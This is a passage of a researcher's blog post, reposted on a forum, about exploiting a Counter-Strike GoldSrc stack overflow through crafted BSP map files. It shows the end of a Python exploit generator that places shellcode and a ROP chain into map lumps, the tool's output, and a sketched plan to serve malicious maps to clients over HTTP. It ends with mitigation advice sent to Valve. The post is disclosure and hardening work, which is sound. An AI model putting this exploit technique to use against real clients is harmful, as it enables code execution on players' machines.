mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i) second_idx += 2 # required because the game loads every-other word # This data will now be on the stack for j in range(3): sub_idx = j*4 + i*0xc data_idx = i*3 + j towrite = "" if data_idx >= len(data_buffer): towrite = "\x00"*4 else: towrite = data_buffer[i*3 + j] mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx)) # write out the corrupted file outfile = open(output_file, "wb") outfile.write(mmfile) outfile.close() l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file)) l.info("Copy to game maps/ directory!") if __name__ == "__main__": main() As you can see, the exploit code is quite hardcoded to the map file. The shellcode and ROP chain are stored in the LUMP_VERTICES section and the LUMP_EDGES and LUMP_SURFEDGES are hijacked to get the function to read from an exact spot in the vertices lump. With more understanding of the BSP format combined with a parser, this exploit code would not have to guess offsets and it could just edit exact positions. Here’s the output when running the exploit { cscz-bsp } > ./exploit.py GoldSource .BSP file corruptor by @Digital_Cold [+] Corrupting target file eip-minimized.bsp [+] Writing to index buffer offset 0009e010... [+] Vertex buffer indexes start 000a9174 [+] Vertex data at 00043f7c [+] Wrote 2478632 byte exploit file to exploit-gen.bsp [+] Copy to game maps/ directory! Given that this vulnerability is now patched, it’s unlikely that this exploit will be of any use. Here is the exploit packagethat I sent Valve in my report. The shellcode and ROP chain are different, but the concept is the same. Remote Exploitation While developing this exploit I explored the idea of hosting it on a server. The only issue I ran into was getting the server itself to not crash when loading the map file. I came up with a possible method of hosting a malicious map file on a server. Due to the map crashing the server, what about not letting the server load the map? Instead have it load the legitimate map and then have the client download the map via HTTP as configured by the sv_downloadurl in your server.cfg. This variable was created to alleviate the slow download speeds when downloading directly from the Half-Life Dedicated Server (HLDS). Maps and other resources can be hosted directly under any HTTP server, such as nginx or apache, which will improve resource download speed. All we need the client to do is to start loading the map. At this point the vulnerability will be triggered and it won’t matter that the maps don’t match. Unfortunately map files are checksumed by the client and server (via CRC_MapFile). During the initial server connection, the client will compare its map checksum to the servers. If they don’t match, it will exit. I believe the approach to bypass this would be to modify the server binary to bypass or load a constant CRC value. I didn’t get this far, but I looked into it. Half-Life Security Improvements While developing the BSP exploit, I noted some key changes to the Half-Life GoldSrc Windows build process that would hamper future vulnerability impact and exploit development ease: Ensure that ASLR is enabled for hl.exe, steamclient.dll, and filesystem_stdio.dll Impact: This will limit the number of fixed address ROP gadgets available to attackers without a corresponding ASLR break via memory leak. Fix: Add /DYNAMICBASE to linker flags. Enable SafeSEH for all loaded modules, (hl.exe and filesystem_stdio.dll are missing it) Fix: Add /SAFESEH to linker flags. Impact: This will limit the use of Structured Exception Handler (SEH) exploits (which for this bug was possible due to unlimited stack overflow, leading to the corruption of on-stack exception handler function pointers). Enable stack cookies Impact: Enabling stack cookies protects large, on-stack buffers, which is most likely common in the GoldSrc engine. Future buffer overflows would become more difficult to exploit with this mitigation enabled. For the function with the buffer overflow, the usage of stack cookies (or canaries) would have prevented the straightforward saved return address hijack. Fix: Add /GS (guard stack) to compiler flags. Hopefully Valve takes my build environment modifications into consideration as it’s the cheapest and most effective way to improve the overall security posture of GoldSrc and other engines. On Shared Code Vulnerabilities After some digging, I found the source code for the vulnerable function, GL_SubdivideSurface. This function is a part of the original Quake engine and has been inherited by every derivative engine since its open source release! Who knows how many engines out there use this function internally. Thoughts and Future Work Finding bugs in Counter Strike was quite the process. Detailing out in writing makes me appreciate how many little details went into the whole process. This endeavor was primarily a learning experience for me and my first disclosure of a vulnerability. I certainly look forward to finding more interesting bugs and creating even more sophisticated exploits in the future. Follow me on twitter @Digital_Cold to keep up-to-date with any other interesting bugs or targets I run across or comment down below if you have any questions. Special thanks to TobalJackson for proofreading this article. Sursa: https://hernan.de/blog/2017/07/07/lock-and-load-exploiting-counter-strike-via-bsp-map-files/
      • 6
      • Upvote
×
×
  • Create New...